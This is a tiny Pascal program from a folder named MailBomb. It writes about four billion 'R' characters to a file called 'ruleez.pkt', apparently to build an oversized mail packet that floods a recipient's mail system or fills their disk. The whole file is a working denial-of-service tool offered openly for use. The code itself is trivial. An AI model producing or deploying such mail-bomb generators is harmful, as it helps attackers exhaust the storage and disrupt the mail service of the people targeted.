old/ASM/MailBomb/mail.pas

var
  c1 : longint;
  out : text;
begin
  Assign(out,'ruleez.pkt');
  Rewrite(out);
  c1 := -2147483647;
  repeat
    Write(out,'R');
    inc(c1);
  until c1 = 2147483646;
  Close(out);
end.